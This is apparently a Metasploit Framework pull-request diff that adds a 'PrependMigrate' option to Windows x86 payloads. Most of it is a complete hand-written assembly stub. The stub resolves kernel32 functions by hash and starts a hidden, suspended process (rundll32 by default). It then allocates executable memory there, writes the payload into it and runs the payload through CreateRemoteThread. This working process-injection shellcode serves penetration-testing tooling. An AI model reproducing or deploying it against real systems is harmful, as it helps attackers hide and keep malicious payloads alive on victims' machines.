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Add migrate stub option to Windows x86 payloads. Spawns payload in new process. #909

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212 lib/msf/core/payload/windows.rb
@@ -26,7 +26,7 @@ module Msf::Payload::Windows
# This mixin is chained within payloads that target the Windows platform.
# It provides special variable substitution for things like EXITFUNC and
# automatically adds it as a required option for exploits that use windows
- # payloads.
+ # payloads. It also provides the migrate prepend.
#
def initialize(info = {})
ret = super( info )
@@ -53,11 +53,219 @@ def initialize(info = {})
[
Msf::OptRaw.new('EXITFUNC', [ true, "Exit technique: #{@@exit_types.keys.join(", ")}", 'process' ])
], Msf::Payload::Windows )
-
+ register_advanced_options(
+ [
+ Msf::OptBool.new('PrependMigrate', [ true, "Spawns and runs shellcode in new process", false ]),
+ Msf::OptString.new('PrependMigrateProc', [ false, "Process to spawn and run shellcode in" ])
+ ], Msf::Payload::Windows )
ret
end
#
+ # Overload the generate() call to prefix our stubs
+ #
+ def generate(*args)
+ # Call the real generator to get the payload
+ buf = super(*args)
+ pre = ''
+
+ test_arch = [ *(self.arch) ]
+
+ # Handle all x86 code here
+ if (test_arch.include?(ARCH_X86))
+
+ # PrependMigrate
+ if (datastore['PrependMigrate'])
+ payloadsize = "0x%04x" % buf.length
+ procname = datastore['PrependMigrateProc'] || 'rundll32'
+
+ migrate_asm = <<EOS
+ cld ; Clear the direction flag.
+ call start ; Call start, this pushes the address of 'api_call' onto the stack.
+api_call:
+ pushad ; We preserve all the registers for the caller, bar EAX and ECX.
+ mov ebp, esp ; Create a new stack frame
+ xor edx, edx ; Zero EDX
+ mov edx, [fs:edx+48] ; Get a pointer to the PEB
+ mov edx, [edx+12] ; Get PEB->Ldr
+ mov edx, [edx+20] ; Get the first module from the InMemoryOrder module list
+next_mod: ;
+ mov esi, [edx+40] ; Get pointer to modules name (unicode string)
+ movzx ecx, word [edx+38] ; Set ECX to the length we want to check
+ xor edi, edi ; Clear EDI which will store the hash of the module name
+loop_modname: ;
+ xor eax, eax ; Clear EAX
+ lodsb ; Read in the next byte of the name
+ cmp al, 'a' ; Some versions of Windows use lower case module names
+ jl not_lowercase ;
+ sub al, 0x20 ; If so normalise to uppercase
+not_lowercase: ;
+ ror edi, 13 ; Rotate right our hash value
+ add edi, eax ; Add the next byte of the name
+ loop loop_modname ; Loop untill we have read enough
+ ; We now have the module hash computed
+ push edx ; Save the current position in the module list for later
+ push edi ; Save the current module hash for later
+ ; Proceed to itterate the export address table,
+ mov edx, [edx+16] ; Get this modules base address
+ mov eax, [edx+60] ; Get PE header
+ add eax, edx ; Add the modules base address
+ mov eax, [eax+120] ; Get export tables RVA
+ test eax, eax ; Test if no export address table is present
+ jz get_next_mod1 ; If no EAT present, process the next module
+ add eax, edx ; Add the modules base address
+ push eax ; Save the current modules EAT
+ mov ecx, [eax+24] ; Get the number of function names
+ mov ebx, [eax+32] ; Get the rva of the function names
+ add ebx, edx ; Add the modules base address
+ ; Computing the module hash + function hash
+get_next_func: ;
+ jecxz get_next_mod ; When we reach the start of the EAT (we search backwards), process the next module
+ dec ecx ; Decrement the function name counter
+ mov esi, [ebx+ecx*4] ; Get rva of next module name
+ add esi, edx ; Add the modules base address
+ xor edi, edi ; Clear EDI which will store the hash of the function name
+ ; And compare it to the one we want
+loop_funcname: ;
+ xor eax, eax ; Clear EAX
+ lodsb ; Read in the next byte of the ASCII function name
+ ror edi, 13 ; Rotate right our hash value
+ add edi, eax ; Add the next byte of the name
+ cmp al, ah ; Compare AL (the next byte from the name) to AH (null)
+ jne loop_funcname ; If we have not reached the null terminator, continue
+ add edi, [ebp-8] ; Add the current module hash to the function hash
+ cmp edi, [ebp+36] ; Compare the hash to the one we are searchnig for
+ jnz get_next_func ; Go compute the next function hash if we have not found it
+ ; If found, fix up stack, call the function and then value else compute the next one...
+ pop eax ; Restore the current modules EAT
+ mov ebx, [eax+36] ; Get the ordinal table rva
+ add ebx, edx ; Add the modules base address
+ mov cx, [ebx+2*ecx] ; Get the desired functions ordinal
+ mov ebx, [eax+28] ; Get the function addresses table rva
+ add ebx, edx ; Add the modules base address
+ mov eax, [ebx+4*ecx] ; Get the desired functions RVA
+ add eax, edx ; Add the modules base address to get the functions actual VA
+ ; We now fix up the stack and perform the call to the desired function...
+finish:
+ mov [esp+36], eax ; Overwrite the old EAX value with the desired api address for the upcoming popad
+ pop ebx ; Clear off the current modules hash
+ pop ebx ; Clear off the current position in the module list
+ popad ; Restore all of the callers registers, bar EAX, ECX and EDX which are clobbered
+ pop ecx ; Pop off the origional return address our caller will have pushed
+ pop edx ; Pop off the hash value our caller will have pushed
+ push ecx ; Push back the correct return value
+ jmp eax ; Jump into the required function
+ ; We now automagically return to the correct caller...
+get_next_mod: ;
+ pop eax ; Pop off the current (now the previous) modules EAT
+get_next_mod1: ;
+ pop edi ; Pop off the current (now the previous) modules hash
+ pop edx ; Restore our position in the module list
+ mov edx, [edx] ; Get the next module
+ jmp next_mod ; Process this module
+;--------------------------------------------------------------------------------------
+start: ;
+ pop ebp ; Pop off the address of 'api_call' for calling later.
+
+ ; get our own startupinfo at esp+0x60
+ add esp,-400 ; adjust the stack to avoid corruption
+ mov edx,esp
+ add edx,0x60
+ push edx
+ push 0xB16B4AB1 ; hash( "kernel32.dll", "GetStartupInfoA" )
+ call ebp ; GetStartupInfoA( &si );
+
+ ; ptr to startupinfo is in eax
+ ; pointer to string is in ecx
+ jmp getcommand
+ gotcommand:
+ pop esi ; esi = address of process name (command line)
+
+ ; create the process
+ mov edi,eax
+ add edi,0x60 ; Offset of empty space for lpProcessInformation
+ push edi ; lpProcessInformation : write processinfo here
+ push eax ; lpStartupInfo : current info (read)
+ xor ebx,ebx
+ push ebx ; lpCurrentDirectory
+ push ebx ; lpEnvironment
+ push 0x08000004 ; dwCreationFlags CREATE_NO_WINDOW | CREATE_SUSPENDED
+ push ebx ; bInHeritHandles
+ push ebx ; lpThreadAttributes
+ push ebx ; lpProcessAttributes
+ push esi ; lpCommandLine
+ push ebx ; lpApplicationName
+
+ push 0x863FCC79 ; hash( "kernel32.dll", "CreateProcessA" )
+ call ebp ; CreateProcessA( &si );
+
+ ; allocate memory in the process (VirtualAllocEx())
+ ; get handle
+ mov ecx,[edi]
+ push 0x40 ; RWX
+ add bh,0x10 ; ebx = 0x1000
+ push ebx ; MEM_COMMIT
+ push ebx ; size
+ xor ebx,ebx
+ push ebx ; address
+ push ecx ; handle
+ push 0x3F9287AE ; hash( "kernel32.dll", "VirtualAllocEx" )
+ call ebp ; VirtualAllocEx( ...);
+
+ ; eax now contains the destination
+ ; WriteProcessMemory()
+ lea esi, [edi + 4]
+ push esi ; lpNumberOfBytesWritten
+ push #{payloadsize} ; nSize
+ ; pick up pointer to shellcode & keep it on stack
+ jmp begin_of_payload
+ begin_of_payload_return:
+ pop edx
+ push edx ; lpBuffer
+ push eax ; lpBaseAddress
+ mov ecx,[edi] ; pick up handle again
+ push ecx ; hProcess
+ push 0xE7BDD8C5 ; hash( "kernel32.dll", "WriteProcessMemory" )
+ call ebp ; WriteProcessMemory( ...);
+
+ ; run the code (CreateRemoteThread())
+ mov ecx,[edi] ; pick up handle again
+ xor ebx,ebx
+ push ebx ; lpthreadID
+ push ebx ; run immediately
+ push ebx ; no parameter
+ mov ebx,[esp-0x4]
+ push ebx ; shellcode
+ xor ebx,ebx
+ add bh,0x20
+ push ebx ; stacksize
+ xor ebx,ebx
+ push ebx ; lpThreadAttributes
+ push ecx
+ push 0x799AACC6 ; hash( "kernel32.dll", "CreateRemoteThread" )
+ call ebp ; CreateRemoteThread( ...);
+
+ ;sleep
+ push -1
+ push 0xE035F044 ; hash( "kernel32.dll", "Sleep" )
+ call ebp ; Sleep( ... );
+
+getcommand:
+ call gotcommand
+ db "#{procname}"
+ db 0x00
+begin_of_payload:
+ call begin_of_payload_return
+EOS
+
+ pre << Metasm::Shellcode.assemble(Metasm::Ia32.new, migrate_asm).encode_string
+ end
+ end
+
+ return (pre + buf)
+ end
+
+ #
# Replace the EXITFUNC variable like madness
#
def replace_var(raw, name, offset, pack)
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